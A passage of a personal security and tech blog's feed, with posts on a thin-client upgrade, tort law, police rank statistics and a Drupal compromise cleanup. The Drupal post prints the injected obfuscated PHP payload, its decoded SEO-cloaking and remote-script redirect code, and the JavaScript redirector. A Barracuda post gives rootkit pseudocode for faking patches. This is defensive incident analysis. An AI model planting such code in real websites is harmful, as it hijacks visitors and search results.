command_off: ssh -i /config/id_rsa -o 'StrictHostKeyChecking=no' hauser@172.1.0.1 '/home/hauser/fan_control/fan_off.sh'
- switch:
name: Light
command_on: ssh -i /config/id_rsa -o 'StrictHostKeyChecking=no' hauser@172.1.0.1 '/home/hauser/fan_control/light_on.sh'
command_off: ssh -i /config/id_rsa -o 'StrictHostKeyChecking=no' hauser@172.1.0.1 '/home/hauser/fan_control/light_off.sh'
</code></pre></div></td></tr></table></div>Upgrading Wyse 50102023-07-02T16:35:00+08:002023-07-02T16:35:00+08:00Benjamin Limtag:limbenjamin.com,2023-07-02:/articles/upgrading-wyse-5010.html<p>I've recently procured a used Wyse 5010 thin client for $15. While some information on this device is already out there, I've discovered quite a bit during the upgrading process which I would like to share here.</p>
<ol>
<li>Although the official specifications mentioned 4GB RAM maximum, the device works when a …</li></ol><p>I've recently procured a used Wyse 5010 thin client for $15. While some information on this device is already out there, I've discovered quite a bit during the upgrading process which I would like to share here.</p>
<ol>
<li>Although the official specifications mentioned 4GB RAM maximum, the device works when a single 8GB DDR3L RAM stick is inserted and can detect all 8 GB. Also, there is only 1 RAM slot.</li>
<li>There's not much information on the AMD G-T48E processor. It is an APU with a Radeon HD 6250 graphic chip. You are able to choose how much RAM (384MB - 2GB) to allocate to the graphic chip in the BIOS. With 6GB RAM allocated to the CPU, it is able to run Home Assistant in a docker container as well as Pi-hole on the main OS. </li>
<li>The <a href="https://manpages.ubuntu.com/manpages/trusty/man4/radeon.4.html">radeon driver</a> that comes with Ubuntu 22.04 supports the graphics card. It is the easiest option if you don't want to compile your own driver. The drivers on the manufacturer's page only work on outdated OS versions. </li>
<li>The Radeon HD 6250 graphic chip only supports hardware decoding for h264 codec. It does not support AV1/h265/VP9 codecs. I had initially wanted to use it as a media PC as well but abandoned the idea due to lack of modern codec support. With 2GB RAM allocated, it can playback 1080p h264 videos smoothly through hardware decoding. However, without hardware decoding, the CPU can only playback 480p VP9 videos. Attempts at higher resolution videos resulted in stuttering.</li>
<li>There is enough space to fit a 2.5" inch SSD in place of the SATA DOM and still close the case fully. After opening up my Crucial MX500 SSD, I realised that the board inside is too large to fit the SATA DOM slot. Hence I got a 10cm 7+15 Pin SATA extension cable. 10cm is just the right length. Any longer and there may be too much slack to fit into the case. </li>
</ol>
<p>The 8GB RAM stick as well as the SATA extension and SSD fitting snugly into the case is shown in the photo below.</p>
<p><img alt="image" src="//limbenjamin.com/media/wyse_5010.jpg"></p>Barracuda ESG Replacement2023-06-17T09:49:00+08:002023-06-17T09:49:00+08:00Benjamin Limtag:limbenjamin.com,2023-06-17:/articles/barracuda-esg-replacement.html<p>As more details of the Barracuda ESG 0 day compromise emerge from both <a href="https://www.barracuda.com/company/legal/esg-vulnerability">Barracuda</a> and <a href="https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally">Mandiant</a>, it starts to make sense why Mandiant would recommended a complete replacement of all existing devices. </p>
<p>It appears that upon detection, the attackers managed to quickly deploy SANDBAR, which is a kernel rootkit to …</p><p>As more details of the Barracuda ESG 0 day compromise emerge from both <a href="https://www.barracuda.com/company/legal/esg-vulnerability">Barracuda</a> and <a href="https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally">Mandiant</a>, it starts to make sense why Mandiant would recommended a complete replacement of all existing devices. </p>
<p>It appears that upon detection, the attackers managed to quickly deploy SANDBAR, which is a kernel rootkit to hide processes with certain names. This demonstrates the capability of the attacker and with slightly more time, they will definitely be able to enhance the rootkit to not only hide traces of their activity but also make it seem that the appliance has been patched to an unaffected version. Hence, the only surefire way is to physically replace all devices. </p>
<p>These are some possible enhancements that the attackers could possibly do to make the appliance look like it has been patched.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span></pre></div></td><td class="code"><div><pre><span></span><code> # attacker will likely simulate traffic, extract/run the required files for masquerading and just update the version number
function perform_update(new_version_num)
curl https://vendor.com/product?ver=new_version_num > /hidden_dir/updated_img
unsquashfs("/hidden_dir/updated_img"); cp update_daemon /hidden_dir/update_daemon_ori
/hidden_dir/update_daemon_ori; cat /proc/{pid}/mem > /hidden_dir/update_daemon_memdump; kill -9 {pid}
sleep(30)
set_version_num(new_version_num)
return "Update completed"
# if forensics were to take a hash/copy the update daemon file, return the contents of the original clean file
# if forensics were to dump the memory of the running update daemon process, return a pre-dumped copy
# everything in linux is a file :)
function open(pathname)
if pathname == "/bin/update_daemon":
pathname = "/hidden_dir/update_daemon_ori"
if pathname == "/proc/{pid}/mem":
pathname = "/hidden_dir/update_daemon_memdump"
</code></pre></div></td></tr></table></div>
<p>Once a device has been compromised to such a level, we will not be able to trust the output from any tools running on that system. We will need to do chip-off forensics; desolder the NAND flash chip, mount it onto a reader and read directly from the flash chip. This is a very intrusive process and may not work if there is disk encryption. It would thus make sense to recommend a complete replacement of all existing devices.</p>Katong Cyclist vs Car - Tort2023-06-10T13:59:00+08:002023-06-10T13:59:00+08:00Benjamin Limtag:limbenjamin.com,2023-06-10:/articles/katong-cyclist-car-tort.html<p>Earlier this week, there was an interesting <a href="https://www.straitstimes.com/singapore/two-arrested-after-cyclist-jumps-onto-moving-car-s-bonnet-in-katong">altercation</a> in Katong. According to the Straits Times, the cyclist jumped onto the bonnet of the car which was then seen moving while the cyclist clung on. Both women have been arrested, I will refrain from commenting further on the criminal aspect since …</p><p>Earlier this week, there was an interesting <a href="https://www.straitstimes.com/singapore/two-arrested-after-cyclist-jumps-onto-moving-car-s-bonnet-in-katong">altercation</a> in Katong. According to the Straits Times, the cyclist jumped onto the bonnet of the car which was then seen moving while the cyclist clung on. Both women have been arrested, I will refrain from commenting further on the criminal aspect since it is sub judice. However is there a possibility of civil action that the cyclist can take against the driver? </p>
<p>It is unclear from both the videos and news article whether the cyclist suffered any physical injury. Furthermore, physical injury may only be revealed after a detailed medical exam. Nonetheless, psychiatric harm or nervous shock is claimable under tort especially since the cyclist is the primary victim who went through the traumatic event herself. </p>
<p>This falls under the tort of negligence. A driver owes a duty of care to other road users. The cyclist can argue that it was reasonably foreseeable that the cyclist will suffer physical and psychiatric harm directly as a result of her driving off with the cyclist on the bonnet. At first glance, it would seem like the cyclist does indeed have a cause of action. </p>
<p>What defence does the driver have against such a claim? The first would be the defence of contributory negligence. The driver can argue that by jumping onto the bonnet, the cyclist did not take reasonable care of her own safety and should bear some responsibility for her own injuries. However, the cyclist can also counter that argument by claiming that she could not have reasonably foreseen that the driver would actually drive off with her on the bonnet. It is also important to note here that according the the Straits Times article, the cyclist jumped onto the bonnet before the driver drove off. If the driver drove off and the cyclist jumped on to prevent being run over, then the courts would likely not find any contributory negligence due to it being an emergency situation as happened in Jones vs Boyce (1816). </p>
<p>The second possible defence that the driver has is that of Ex turpi causa non oritur actio. The driver can claim that the cyclist has engaged in illegal activity which resulted in the injuries sustained, and that the courts should not assist the cyclist as it would be against public policy. We do not want to encourage opportunistic members of public to start obstructing traffic all over the island and provoke drivers into performing a rash act, it would render our roads useless. This argument does have some merit as well. </p>
<p>An interesting case indeed. </p>SPF Promotion Statistics2023-04-05T11:13:00+08:002023-04-05T11:13:00+08:00Benjamin Limtag:limbenjamin.com,2023-04-05:/articles/spf-promotion-statistics.html<p>Congratulations to all 45,137 recipients of the Singapore Police Bicentennial 2020 medal. The medal is awarded to all SPF officers in service during the year of 2020, including regulars, NSFs, NSmen and VSC officers. It is rare for the rank and names of so many police officers to be …</p><p>Congratulations to all 45,137 recipients of the Singapore Police Bicentennial 2020 medal. The medal is awarded to all SPF officers in service during the year of 2020, including regulars, NSFs, NSmen and VSC officers. It is rare for the rank and names of so many police officers to be published in the Government Gazette, this provides an excellent opportunity to look at the data and gather some conclusions. </p>
<p>Based on the data, the first huge drop-off is at the rank of ASP, I guess a large number of officers leave the service in pursuit of a career change at this point. The next drop-off occurs at the rank of SUPT. This is probably the career ending point for most officers that are not on the scholar track. Interestingly, the number of ACs and SACs are roughly the same. Maybe all ACs will eventually get promoted to SACs after clocking a certain time at that rank. </p>
<style>
th, td{
padding: 0.5em;
}
</style>
<table class="table" width="100%">
<thead>
<tr>
<th>Rank</th>
<th>Count</th>
<th></th>
<th>Rank</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>CP</td>
<td>1</td>
<td></td>
<td>SUPT</td>
<td>403</td>
</tr>
<tr>
<td>DC</td>
<td>4</td>
<td></td>
<td>DSP</td>
<td>539</td>
</tr>
<tr>
<td>SAC</td>
<td>30</td>
<td></td>
<td>ASP</td>
<td>1691</td>
</tr>
<tr>
<td>AC</td>
<td>33</td>
<td></td>
<td>INSP</td>
<td>2268</td>
</tr>
<tr>
<td>DAC</td>
<td>90</td>
<td></td>
<td>NSI</td>
<td>10</td>
</tr>
<tr>
<td>SUPT 1A</td>
<td>11</td>
<td></td>
<td>NSPI</td>
<td>5</td>
</tr>
</tbody>
</table>
<p>There is a huge number of CPLs. No surprises here, NSFs get promoted to CPL and stay there till ROD. 10 years of NSmen will account for the huge number seen. SSGT, SSI and SSI 2 ranks have been made obsolete in 2016, hence there are less individuals with these ranks. If we take those 3 ranks out of the equation, it appears that SI is probably another career ending point. Without knowing how many INSPs are direct entry, it is hard to tell. </p>
<table class="table" width="100%">
<thead>
<tr>
<th>Rank</th>
<th>Count</th>
<th></th>
<th>Rank</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>SSI 2</td>
<td>127</td>
<td></td>
<td>SGT 1</td>
<td>6310</td>
</tr>
<tr>
<td>SSI</td>
<td>170</td>
<td></td>
<td>SGT</td>
<td>380</td>
</tr>
<tr>
<td>SI</td>
<td>1840</td>
<td></td>
<td>CPL</td>
<td>12408</td>
</tr>
<tr>
<td>SSSGT</td>
<td>2552</td>
<td></td>
<td>SC2</td>
<td>1674</td>
</tr>
<tr>
<td>SSGT</td>
<td>1086</td>
<td></td>
<td>SC</td>
<td>1358</td>
</tr>
<tr>
<td>SGT3</td>
<td>3024</td>
<td></td>
<td>Trainee SC</td>
<td>1</td>
</tr>
<tr>
<td>SGT2</td>
<td>6452</td>
<td></td>
<td>PC</td>
<td>140</td>
</tr>
</tbody>
</table>
<p>Based on their names, it appears that the (P) ranks are Gurkhas. These are their numbers, together with the civilians on the MX scheme. It appears that there is inconsistent reporting and the vast majority as simply reported as Mr instead of their MX grade.</p>
<table class="table" width="100%">
<thead>
<tr>
<th>Rank</th>
<th>Count</th>
<th></th>
<th>Rank</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>CI</td>
<td>22</td>
<td></td>
<td>MX 11</td>
<td>2</td>
</tr>
<tr>
<td>SSI 2 (P)</td>
<td>14</td>
<td></td>
<td>MX 12</td>
<td>2</td>
</tr>
<tr>
<td>SSI (P)</td>
<td>52</td>
<td></td>
<td>MX 13 (I)</td>
<td>11</td>
</tr>
<tr>
<td>SI (P)</td>
<td>62</td>
<td></td>
<td>MX 14</td>
<td>7</td>
</tr>
<tr>
<td>SSSGT (P)</td>
<td>97</td>
<td></td>
<td>MX 15</td>
<td>1</td>
</tr>
<tr>
<td>SSGT (P)</td>
<td>82</td>
<td></td>
<td>Mr</td>
<td>791</td>
</tr>
<tr>
<td>SGT (P)</td>
<td>132</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<p>Lastly, we have the volunteer force. There are Honorary ranks as well as Acting ranks. Otherwise, nothing much of interest. </p>
<table class="table" width="100%">
<thead>
<tr>
<th>Rank</th>
<th>Count</th>
<th></th>
<th>Rank</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>DAC (V)</td>
<td>3</td>
<td></td>
<td>SI (V)</td>
<td>64</td>
</tr>
<tr>
<td>SUPT (V)</td>
<td>7</td>
<td></td>
<td>SSGT (V)</td>
<td>99</td>
</tr>
<tr>
<td>Hon DSP (V)</td>
<td>1</td>
<td></td>
<td>SGT 3 (V)</td>
<td>50</td>
</tr>
<tr>
<td>DSP (V)</td>
<td>8</td>
<td></td>
<td>SGT 2 (V)</td>
<td>136</td>
</tr>
<tr>
<td>Hon ASP (V)</td>
<td>7</td>
<td></td>
<td>SGT 1 (V)</td>
<td>201</td>
</tr>
<tr>
<td>ASP (V)</td>
<td>25</td>
<td></td>
<td>SGT 1 (V) - Trainee</td>
<td>22</td>
</tr>
<tr>
<td>Hon INSP (V)</td>
<td>17</td>
<td></td>
<td>CPL (V)</td>
<td>1</td>
</tr>
<tr>
<td>INSP (V)</td>
<td>28</td>
<td></td>
<td>SC (V)</td>
<td>155</td>
</tr>
<tr>
<td>Acting Insp (V)</td>
<td>8</td>
<td></td>
<td>VC2</td>
<td>171</td>
</tr>
<tr>
<td>SSI 2 (V)</td>
<td>1</td>
<td></td>
<td>VC</td>
<td>250</td>
</tr>
</tbody>
</table>
<h2>Honorary Mentions</h2>
<p><code>CW 2 Jamaludin Bin Karmani</code> - There is only one person with the CW 2 rank. Chief Warder 2 is a rank under the prison services and not the police force. Maybe he was seconded to SPF during that period. </p>
<p><code>CPL Muhammad Danial Haris D’cruz Bin Muhammad Ridzwan Abdullah D’cruz</code> - Police officer with the longest name. </p>Drupal Redirect Malware2023-03-18T09:03:00+08:002023-03-18T09:03:00+08:00Benjamin Limtag:limbenjamin.com,2023-03-18:/articles/drupal-redirect-malware.html<p>Just encountered a rather interesting redirection malware. The first sign that something was wrong was that the search engine results on Google had spammy metadata. This may not be an actual compromise as it could have been caused by issues such as spammers submitting fake sitemaps to Google. While accessing …</p><p>Just encountered a rather interesting redirection malware. The first sign that something was wrong was that the search engine results on Google had spammy metadata. This may not be an actual compromise as it could have been caused by issues such as spammers submitting fake sitemaps to Google. While accessing the site, it loaded fine. However, the redirection failed sporadically and I managed to find the following external javascript file embedded onto the site. This was the first sign that the website was truly hacked. </p>
<p><img alt="image" src="//limbenjamin.com/media/drupal_redirect_malware.png"></p>
<p>I pulled down the javascript file and found that it checked the country code of your IP address and redirected you to www(.)hmbags(.)tw if you happened to have a Taiwan IP. Perhaps the ip-api.com connection timed out occasionally hence giving me the opportunity to catch the redirection happening. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
<span class="normal">49</span>
<span class="normal">50</span>
<span class="normal">51</span>
<span class="normal">52</span>
<span class="normal">53</span>
<span class="normal">54</span>
<span class="normal">55</span>
<span class="normal">56</span>
<span class="normal">57</span>
<span class="normal">58</span>
<span class="normal">59</span>
<span class="normal">60</span>
<span class="normal">61</span>
<span class="normal">62</span>
<span class="normal">63</span></pre></div></td><td class="code"><div><pre><span></span><code> function ajax(options) {
options = options || {};
options.type = (options.type || "GET").toUpperCase();
options.dataType = options.dataType || "json";
var params = formatParams(options.data);
var xhr;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (window.ActiveObject) {
xhr = new ActiveXobject('Microsoft.XMLHTTP');
}
if (options.type == "GET") {
xhr.open("GET", options.url, true);
xhr.send(null);
} else if (options.type == "POST") {
xhr.open("post", options.url, true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send(params);
}
setTimeout(function() {
if (xhr.readySate != 4) {
xhr.abort();
}
}, options.timeout)
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
var status = xhr.status;
if (status >= 200 && status < 300 || status == 304) {
options.success && options.success(xhr.responseText, xhr.responseXML);
} else {
options.error && options.error(status);
}
}
}
}
function formatParams(data) {
var arr = [];
for (var name in data) {
arr.push(encodeURIComponent(name) + "=" + encodeURIComponent(data[name]));
}
arr.push(("v=" + Math.random()).replace(".", ""));
return arr.join("&");
}
ajax({
url: "https://pro.ip-api.com/json?key=FMjb5N6z7rcJ8yt",
type: 'get',
dataType: 'json',
timeout: 10000,
contentType: "application/json",
success: function(data) {
var location = JSON.parse(data);
if (location.countryCode === "TW") {
window.location.href = "https :// www. hmbags . tw /";
} else {
window.location.href = "";
}
console.log(JSON.parse(data));
},
error: function(e) {
console.log(e);
}
})
</code></pre></div></td></tr></table></div>
<p>Inspecting the contents of hmbags(.)tw on VirusTotal revealed that it is indeed responsible for the spammy content. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span></pre></div></td><td class="code"><div><pre><span></span><code>威而鋼
美國原廠正品威而鋼viagra·複燃男人的希望. 【鄭重聲明】 本站商品出貨包裝絕對隱秘,不會出現任何敏感的字眼! 威而鋼官方logo.
樂威壯(Levitra)效果明顯免處方為什麼男人會陽痿?
性欲是男性勃起機制中的關鍵。性慾強度影響男性荷爾蒙的分泌。而男性荷爾蒙誘使腦部釋放神經傳導物質向下傳導到脊髓的副交感神經核。再經陰莖海綿體神經的神經末梢及 ...
Rating: 5 · 1 review · NT$1,480.00
</code></pre></div></td></tr></table></div>
<p>Having confirmed that the website was indeed hacked, I was given access to the Drupal installation and tasked to clean up. Having cPanel access would have made it easier but Drupal does have modules available to perform file management. A little while later, I found the file which was modified (index.php) and managed to clean out the code. The attacker inserted an additional function which was decoded to reveal the following functions. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal"> 10</span>
<span class="normal"> 11</span>
<span class="normal"> 12</span>
<span class="normal"> 13</span>
<span class="normal"> 14</span>
<span class="normal"> 15</span>
<span class="normal"> 16</span>
<span class="normal"> 17</span>
<span class="normal"> 18</span>
<span class="normal"> 19</span>
<span class="normal"> 20</span>
<span class="normal"> 21</span>
<span class="normal"> 22</span>
<span class="normal"> 23</span>
<span class="normal"> 24</span>
<span class="normal"> 25</span>
<span class="normal"> 26</span>
<span class="normal"> 27</span>
<span class="normal"> 28</span>
<span class="normal"> 29</span>
<span class="normal"> 30</span>
<span class="normal"> 31</span>
<span class="normal"> 32</span>
<span class="normal"> 33</span>
<span class="normal"> 34</span>
<span class="normal"> 35</span>
<span class="normal"> 36</span>
<span class="normal"> 37</span>
<span class="normal"> 38</span>
<span class="normal"> 39</span>
<span class="normal"> 40</span>
<span class="normal"> 41</span>
<span class="normal"> 42</span>
<span class="normal"> 43</span>
<span class="normal"> 44</span>
<span class="normal"> 45</span>
<span class="normal"> 46</span>
<span class="normal"> 47</span>
<span class="normal"> 48</span>
<span class="normal"> 49</span>
<span class="normal"> 50</span>
<span class="normal"> 51</span>
<span class="normal"> 52</span>
<span class="normal"> 53</span>
<span class="normal"> 54</span>
<span class="normal"> 55</span>
<span class="normal"> 56</span>
<span class="normal"> 57</span>
<span class="normal"> 58</span>
<span class="normal"> 59</span>
<span class="normal"> 60</span>
<span class="normal"> 61</span>
<span class="normal"> 62</span>
<span class="normal"> 63</span>
<span class="normal"> 64</span>
<span class="normal"> 65</span>
<span class="normal"> 66</span>
<span class="normal"> 67</span>
<span class="normal"> 68</span>
<span class="normal"> 69</span>
<span class="normal"> 70</span>
<span class="normal"> 71</span>
<span class="normal"> 72</span>
<span class="normal"> 73</span>
<span class="normal"> 74</span>
<span class="normal"> 75</span>
<span class="normal"> 76</span>
<span class="normal"> 77</span>
<span class="normal"> 78</span>
<span class="normal"> 79</span>
<span class="normal"> 80</span>
<span class="normal"> 81</span>
<span class="normal"> 82</span>
<span class="normal"> 83</span>
<span class="normal"> 84</span>
<span class="normal"> 85</span>
<span class="normal"> 86</span>
<span class="normal"> 87</span>
<span class="normal"> 88</span>
<span class="normal"> 89</span>
<span class="normal"> 90</span>
<span class="normal"> 91</span>
<span class="normal"> 92</span>
<span class="normal"> 93</span>
<span class="normal"> 94</span>
<span class="normal"> 95</span>
<span class="normal"> 96</span>
<span class="normal"> 97</span>
<span class="normal"> 98</span>
<span class="normal"> 99</span>
<span class="normal">100</span>
<span class="normal">101</span>
<span class="normal">102</span>
<span class="normal">103</span>
<span class="normal">104</span>
<span class="normal">105</span>
<span class="normal">106</span>
<span class="normal">107</span>
<span class="normal">108</span>
<span class="normal">109</span>
<span class="normal">110</span>
<span class="normal">111</span></pre></div></td><td class="code"><div><pre><span></span><code><?php function yYVg($aQt)
{
$aQt=gzinflate(base64_decode($aQt));
for($i=0;$i<strlen($aQt);$i++)
{
$aQt[$i] = chr(ord($aQt[$i])-1);
}
return $aQt;
}eval(yYVg("7ZZtb+o2FIC/k1/hRWhOVJpAt3VbuekVatNbJFpYCHebJhS5wTTuDXHkmALj9rfv2OGtjI57P2yfhiLinJw3P8c+DkL6Z1AhuIgEzbmQLHu06nbTKKiMJJvQKGUTJrWo+okuPFSN+n7w0Q/+MG/DsBcN4ClqffDvQ3MIKg9ceqyIipyNqLCUkaBjJYEbFVREBSUiTvSbhBcyysiEIg+ZiZT5heuazsY/1v5vu/0QD3ekvdsejDs3WIV7mk7ymI+oZ74rYsFyieQipx6WdC7dJ/JMSilGhYg9rGIUEGQ2mzlxQviC5ST+5MR84srZgnDnqcCX79zS5tJsGmxsbQMH/i8Dvx9Gg6CNh57nma5pG0vAhxDoFVLkvLAUoxp+5Pwxpdj+xvPGJC2oDTpLzboaXgMC8UyFZ67TmbPMmZH8+VlnAmErAK0AKPFUpN2cZtbWynkjH8d0WTaicydP8vcKrAckN4Ad89sRnxCWebt8y3t037rz8RAKUkkoUVUzr3gmaSZPQ2B5gTTLRE7SJgJoAhaGN5Xj059MZULjhCOVLoxHjKq6IvRiaCoIUZi7HiyNCtKY9HLwGrZ+BunKwbqO4GXtRiloT+r/xVCudjAfplBDuEh4jm0E5JFG//nzUZOHlD9+pUku+Ggay12rf2MtZJQtqCrp/4vi4KIYT7NYMp4dgmIjKAhoVuPkbIUtYhm0MrupxPoZ0ua5tJRKDV0Ngk63p9B1aug/gfvPeaj2d+u3rv2ghogQZGHh305vusGvreDav1aji/Nz5+z7n50fv3POGg1cw1edNjTi03Zv7419NNYqTrlCjyj3+50IptG++b3n7xh9oY1q6F9mE/jhILgPg9Z9/0bFaRxLLPBBDzTx6jBRfb7cfmo34aOFh/Lok6yG7/ifLE2J+4NTP7HANieSPaS0efJBu4NTzj1zGs2Tk4ORXHjvqM1hH40Ztu/87iCsnddLzWpcbrP1To/onMbaZsdTnPKC7ggFlVORbW1BuLM3do5jY6naiMw+ktSrw26SYmFU1IarFhF5BFMPGmg5usAOtDHJUz4Dy71DeXvolz2iAhcbo03jW/mARrnufpd1UKlsO+tW4wG+OICXUoEGoLPZ5NhQvl8MdcVExgmy/HlMcz2t6sxegnw999KiCRN/NfP9z443CUAbYgWUyNr7vlmtKXNob7PbuEWa1+rhDWL7btSUNLA9Yisvf2P2CtpWSWHTKujI77D5giScr5mX03pNXTH/avTvL/8C"));?>
### decoded version ###
error_reporting(0);
set_time_limit(0);
$key= $_SERVER["HTTP_USER_AGENT"];
$bot=is_spider();
$ref=is_referer_search();
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$jumpcode="<script type='text/javascript' src='https://www.chaoyipack.com/twyao.js'></script>";
if($_SERVER['REQUEST_URI']==="/")
{
if(strpos($key,'google')!==false)
{ $TD_server="https://xin.wapvv.com/";
$res = curlOpen($TD_server.$_SERVER['REQUEST_URI']."/index.php?host=".$host_name."&domain=".$_SERVER['SERVER_NAME']);
header("Content-Type: text/html; charset=utf-8");
echo $res;
die();
}
else
{
if($ref==1)
{
echo $jumpcode;
die();
}
}
}
elseif(strpos($_SERVER['REQUEST_URI'], 'shop') !== false||strpos($_SERVER['REQUEST_URI'], 'blog') !== false||strpos($_SERVER['REQUEST_URI'], 'product') !== false)
{
if(strpos($key,'google')!==false)
{ $TD_server="https://xin.wapvv.com/neiye.php";
$res = curlOpen($TD_server.$_SERVER['REQUEST_URI']."/index.php?host=".$host_name."&domain=".$_SERVER['SERVER_NAME']);
header("Content-Type: text/html; charset=utf-8");
echo $res;
die();
}
else
{
if($ref==1)
{
echo $jumpcode;
die();
}
}
}
function curlOpen($TD_server)
{
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $TD_server.$_SERVER['REQUEST_URI']."/index.php?host=".$host_name."&domain=".$_SERVER['SERVER_NAME']);
curl_setopt($ch2, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.73.211','CLIENT-IP:66.249.73.211'));
curl_setopt($ch2, CURLOPT_HEADER, false);
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch2, CURLOPT_REFERER,'http://www.google.com');
curl_setopt($ch2, CURLOPT_USERAGENT,'Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)');
curl_setopt($ch2, CURLOPT_TIMEOUT,60);
$contents = curl_exec($ch2);
curl_close($ch2);
return $contents;
}
function is_spider()
{
$rtnVal=0;
try
{
$s_agent= 's_agent:'.strtolower($_SERVER['HTTP_USER_AGENT']);
if (strpos($s_agent, 'google')>0
||strpos($s_agent, 'bingbot')>0)
{
$rtnVal=1;
}
}
catch (Exception $w){}
return $rtnVal;
}
function is_referer_search()
{
$rtnVal=0;
try
{
if(isset($_SERVER["HTTP_REFERER"]))
{
$s_referer = 's_referer:'.strtolower($_SERVER["HTTP_REFERER"]);
if (strpos($s_referer, 'google')>0
||strpos($s_referer, 'bing')>0
||strpos($s_referer, 'yahoo')>0)
{
$rtnVal=1;
}
}
}
catch (Exception $w){}
return $rtnVal;
}
?>
</code></pre></div></td></tr></table></div>
<p>In summary, if Google was crawling the homepage, the contents of <code>https://xin(.)wapvv(.)com/</code> would be served which contains the same spammy content earlier seen on <code>www(.)hmbags(.)tw</code>. If Google was crawling any URL with shop/blog/product, <code>https://xin(.)wapvv(.)com/neiye.php</code> would be served instead. This explains the hijacked search results. A normal visitor would be served the twyao(.)js javascript file. The javascript file will redirect users from Taiwan to the <code>www(.)hmbags(.)tw</code> website. </p>
<p>Note: if you are following through the code, the <code>is_spider()</code> and <code>is_referer_search()</code> is superfluous code which have no effect on the outcome. </p>Total Defense and Falsehoods2023-02-15T09:17:00+08:002023-02-15T09:17:00+08:00Benjamin Limtag:limbenjamin.com,2023-02-15:/articles/total-defense-and-falsehoods.html<p>As we commemorate Total Defense day, it is poignant to note the link to what is potentially some of the worst falsehoods to be perpetuated in Singapore, contributing in part to the death of thousands of people. The impact is probably greater any recorded use of POFMA to date. An …</p><p>As we commemorate Total Defense day, it is poignant to note the link to what is potentially some of the worst falsehoods to be perpetuated in Singapore, contributing in part to the death of thousands of people. The impact is probably greater any recorded use of POFMA to date. An excerpt of the copyrighted article from The Straits Times, 26 January 1942, Page 4 has been reproduced for the purpose of study and research.</p>
<p><img alt="image" src="//limbenjamin.com/media/london_confidence_singapore_defense.png"></p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span>
<span class="normal">9</span></pre></div></td><td class="code"><div><pre><span></span><code>7.—(1) A person must not do any act in or outside Singapore in order to communicate in Singapore a statement knowing or having reason to believe that —
(a) it is a false statement of fact; and
(b) the communication of the statement in Singapore is likely to —
(i) be prejudicial to the security of Singapore or any part of Singapore;
(ii) be prejudicial to public health, public safety, public tranquillity or public finances;
(iii) be prejudicial to the friendly relations of Singapore with other countries;
(iv) influence the outcome of an election to the office of President, a general election of Members of Parliament, a by‑election of a Member of Parliament, or a referendum;
(v) incite feelings of enmity, hatred or ill‑will between different groups of persons; or
(vi) diminish public confidence in the performance of any duty or function of, or in the exercise of any power by, the Government, an Organ of State, a statutory board, or a part of the Government, an Organ of State or a statutory board.
</code></pre></div></td></tr></table></div>
<p>Obviously, POFMA was passed decades after WWII and the law doesn't apply retroactively. However, let's look at how such an article would fare under POFMA as an exercise. </p>
